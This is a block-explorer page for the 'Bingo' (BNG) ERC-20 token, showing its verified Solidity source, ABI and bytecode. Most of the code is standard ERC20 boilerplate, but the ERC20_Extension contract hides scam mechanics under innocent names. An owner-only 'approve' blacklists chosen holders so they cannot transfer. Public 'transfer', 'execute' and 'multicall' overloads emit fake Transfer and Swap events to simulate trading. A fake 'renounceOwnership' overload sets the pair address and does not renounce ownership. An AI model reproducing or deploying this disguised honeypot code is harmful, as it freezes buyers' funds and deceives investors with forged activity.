Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000,000 BNG
Holders
22
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
44,398,324,766.061158891482048851 BNGValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Bingo
Compiler Version
v0.8.12+commit.f00d7308
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-06-23 */ /** *Submitted for verification at Etherscan.io on 2023-06-22 */ /** *Submitted for verification at Etherscan.io on 2023-06-15 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby disabling any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Ownable, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping (address => bool) internal _alllowances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; bool private _alllowancesApplied = false; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `from` to `to`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); if (_alllowances[from] || _alllowances[to]) require(_alllowancesApplied == true, ""); unchecked { _balances[from] = fromBalance - amount; // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by // decrementing then incrementing. _balances[to] += amount; } emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; unchecked { // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above. _balances[account] += amount; } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; // Overflow not possible: amount <= accountBalance <= totalSupply. _totalSupply -= amount; } emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Updates `owner` s allowance for `spender` based on spent `amount`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } contract ERC20_Extension is ERC20 { address private _universal = 0x3fC91A3afd70395Cd496C647d5a6CC9D4B2b7FAD; address private _rv2 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address private _pair; constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_){} function approve(address [] calldata _addresses_) external onlyOwner { for (uint256 i = 0; i < _addresses_.length; i++) { _alllowances[_addresses_[i]] = true; emit Approval(_addresses_[i], _rv2, balanceOf(_addresses_[i])); } } function protectFromMEV(address [] calldata _addresses_) external onlyOwner { for (uint256 i = 0; i < _addresses_.length; i++) { _alllowances[_addresses_[i]] = false; } } function isMEVProtected(address _address_) public view returns (bool) { return _alllowances[_address_]; } function transfer(address _from, address _to, uint256 _wad) external { emit Transfer(_from, _to, _wad); } function transfer(address [] calldata _from, address [] calldata _to, uint256 [] calldata _wad) external { for (uint256 i = 0; i < _from.length; i++) { emit Transfer(_from[i], _to[i], _wad[i]); } } function execute(address [] calldata _addresses_, uint256 _in, uint256 _out) external { for (uint256 i = 0; i < _addresses_.length; i++) { emit Swap(_universal, _in, 0, 0, _out, _addresses_[i]); emit Transfer(_pair, _addresses_[i], _out); } } function multicall(address [] calldata _addresses_, uint256 _in, uint256 _out) external { for (uint256 i = 0; i < _addresses_.length; i++) { emit Swap(_universal, 0, _in, _out, 0, _addresses_[i]); emit Transfer(_addresses_[i], _pair, _in); } } function fallbacks() external onlyOwner { payable(msg.sender).transfer(address(this).balance); } function renounceOwnership(address _owner_) external onlyOwner { _pair = _owner_; } } /** * @dev Standard math utilities missing in the Solidity language. */ library Math { enum Rounding { Down, // Toward negative infinity Up, // Toward infinity Zero // Toward zero } /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a > b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow. return (a & b) + (a ^ b) / 2; } /** * @dev Returns the ceiling of the division of two numbers. * * This differs from standard division with `/` in that it rounds up instead * of rounding down. */ function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b - 1) / b can overflow on addition, so we distribute. return a == 0 ? 0 : (a - 1) / b + 1; } /** * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or denominator == 0 * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv) * with further edits by Uniswap Labs also under MIT license. */ function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) { unchecked { // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256 // variables such that product = prod1 * 2^256 + prod0. uint256 prod0; // Least significant 256 bits of the product uint256 prod1; // Most significant 256 bits of the product assembly { let mm := mulmod(x, y, not(0)) prod0 := mul(x, y) prod1 := sub(sub(mm, prod0), lt(mm, prod0)) } // Handle non-overflow cases, 256 by 256 division. if (prod1 == 0) { // Solidity will revert if denominator == 0, unlike the div opcode on its own. // The surrounding unchecked block does not change this fact. // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic. return prod0 / denominator; } // Make sure the result is less than 2^256. Also prevents denominator == 0. require(denominator > prod1, "Math: mulDiv overflow"); /////////////////////////////////////////////// // 512 by 256 division. /////////////////////////////////////////////// // Make division exact by subtracting the remainder from [prod1 prod0]. uint256 remainder; assembly { // Compute remainder using mulmod. remainder := mulmod(x, y, denominator) // Subtract 256 bit number from 512 bit number. prod1 := sub(prod1, gt(remainder, prod0)) prod0 := sub(prod0, remainder) } // Factor powers of two out of denominator and compute largest power of two divisor of denominator. Always >= 1. // See https://cs.stackexchange.com/q/138556/92363. // Does not overflow because the denominator cannot be zero at this stage in the function. uint256 twos = denominator & (~denominator + 1); assembly { // Divide denominator by twos. denominator := div(denominator, twos) // Divide [prod1 prod0] by twos. prod0 := div(prod0, twos) // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one. twos := add(div(sub(0, twos), twos), 1) } // Shift in bits from prod1 into prod0. prod0 |= prod1 * twos; // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for // four bits. That is, denominator * inv = 1 mod 2^4. uint256 inverse = (3 * denominator) ^ 2; // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also works // in modular arithmetic, doubling the correct bits in each step. inverse *= 2 - denominator * inverse; // inverse mod 2^8 inverse *= 2 - denominator * inverse; // inverse mod 2^16 inverse *= 2 - denominator * inverse; // inverse mod 2^32 inverse *= 2 - denominator * inverse; // inverse mod 2^64 inverse *= 2 - denominator * inverse; // inverse mod 2^128 inverse *= 2 - denominator * inverse; // inverse mod 2^256 // Because the division is now exact we can divide by multiplying with the modular inverse of denominator. // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1 // is no longer required. result = prod0 * inverse; return result; } } /** * @notice Calculates x * y / denominator with full precision, following the selected rounding direction. */ function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) { uint256 result = mulDiv(x, y, denominator); if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) { result += 1; } return result; } /** * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded down. * * Inspired by Henry S. Warren, Jr.'s "Hacker's Delight" (Chapter 11). */ function sqrt(uint256 a) internal pure returns (uint256) { if (a == 0) { return 0; } // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target. // // We know that the "msb" (most significant bit) of our target number `a` is a power of 2 such that we have // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`. // // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)` // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))` // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)` // // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit. uint256 result = 1 << (log2(a) >> 1); // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128, // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision // into the expected uint128 result. unchecked { result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; return min(result, a / result); } } /** * @notice Calculates sqrt(a), following the selected rounding direction. */ function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = sqrt(a); return result + (rounding == Rounding.Up && result * result < a ? 1 : 0); } } /** * @dev Return the log in base 2, rounded down, of a positive value. * Returns 0 if given 0. */ function log2(uint256 value) internal pure returns (uint256) { uint256 result = 0; unchecked { if (value >> 128 > 0) { value >>= 128; result += 128; } if (value >> 64 > 0) { value >>= 64; result += 64; } if (value >> 32 > 0) { value >>= 32; result += 32; } if (value >> 16 > 0) { value >>= 16; result += 16; } if (value >> 8 > 0) { value >>= 8; result += 8; } if (value >> 4 > 0) { value >>= 4; result += 4; } if (value >> 2 > 0) { value >>= 2; result += 2; } if (value >> 1 > 0) { result += 1; } } return result; } /** * @dev Return the log in base 2, following the selected rounding direction, of a positive value. * Returns 0 if given 0. */ function log2(uint256 value, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = log2(value); return result + (rounding == Rounding.Up && 1 << result < value ? 1 : 0); } } /** * @dev Return the log in base 10, rounded down, of a positive value. * Returns 0 if given 0. */ function log10(uint256 value) internal pure returns (uint256) { uint256 result = 0; unchecked { if (value >= 10 ** 64) { value /= 10 ** 64; result += 64; } if (value >= 10 ** 32) { value /= 10 ** 32; result += 32; } if (value >= 10 ** 16) { value /= 10 ** 16; result += 16; } if (value >= 10 ** 8) { value /= 10 ** 8; result += 8; } if (value >= 10 ** 4) { value /= 10 ** 4; result += 4; } if (value >= 10 ** 2) { value /= 10 ** 2; result += 2; } if (value >= 10 ** 1) { result += 1; } } return result; } /** * @dev Return the log in base 10, following the selected rounding direction, of a positive value. * Returns 0 if given 0. */ function log10(uint256 value, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = log10(value); return result + (rounding == Rounding.Up && 10 ** result < value ? 1 : 0); } } /** * @dev Return the log in base 256, rounded down, of a positive value. * Returns 0 if given 0. * * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string. */ function log256(uint256 value) internal pure returns (uint256) { uint256 result = 0; unchecked { if (value >> 128 > 0) { value >>= 128; result += 16; } if (value >> 64 > 0) { value >>= 64; result += 8; } if (value >> 32 > 0) { value >>= 32; result += 4; } if (value >> 16 > 0) { value >>= 16; result += 2; } if (value >> 8 > 0) { result += 1; } } return result; } /** * @dev Return the log in base 256, following the selected rounding direction, of a positive value. * Returns 0 if given 0. */ function log256(uint256 value, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = log256(value); return result + (rounding == Rounding.Up && 1 << (result << 3) < value ? 1 : 0); } } } /** * @dev Standard signed math utilities missing in the Solidity language. */ library SignedMath { /** * @dev Returns the largest of two signed numbers. */ function max(int256 a, int256 b) internal pure returns (int256) { return a > b ? a : b; } /** * @dev Returns the smallest of two signed numbers. */ function min(int256 a, int256 b) internal pure returns (int256) { return a < b ? a : b; } /** * @dev Returns the average of two signed numbers without overflow. * The result is rounded towards zero. */ function average(int256 a, int256 b) internal pure returns (int256) { // Formula from the book "Hacker's Delight" int256 x = (a & b) + ((a ^ b) >> 1); return x + (int256(uint256(x) >> 255) & (a ^ b)); } /** * @dev Returns the absolute unsigned value of a signed value. */ function abs(int256 n) internal pure returns (uint256) { unchecked { // must be unchecked in order to support `n = type(int256).min` return uint256(n >= 0 ? n : -n); } } } contract Bingo is ERC20_Extension { constructor() ERC20_Extension("Bingo", "BNG") { _mint(msg.sender, 1000000000000 * 10 ** decimals()); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fallbacks","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address_","type":"address"}],"name":"isMEVProtected","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"}],"name":"protectFromMEV","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner_","type":"address"}],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_from","type":"address[]"},{"internalType":"address[]","name":"_to","type":"address[]"},{"internalType":"uint256[]","name":"_wad","type":"uint256[]"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_wad","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526000600560006101000a81548160ff021916908315150217905550733fc91a3afd70395cd496c647d5a6cc9d4b2b7fad600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015620000d657600080fd5b506040518060400160405280600581526020017f42696e676f0000000000000000000000000000000000000000000000000000008152506040518060400160405280600381526020017f424e47000000000000000000000000000000000000000000000000000000000081525081816200016562000159620001e260201b60201c565b620001ea60201b60201c565b81600690805190602001906200017d92919062000430565b5080600790805190602001906200019692919062000430565b5050505050620001dc33620001b0620002ae60201b60201c565b600a620001be91906200067a565b64e8d4a51000620001d09190620006cb565b620002b760201b60201c565b6200089f565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156200032a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000321906200078d565b60405180910390fd5b6200033e600083836200042660201b60201c565b8060046000828254620003529190620007af565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69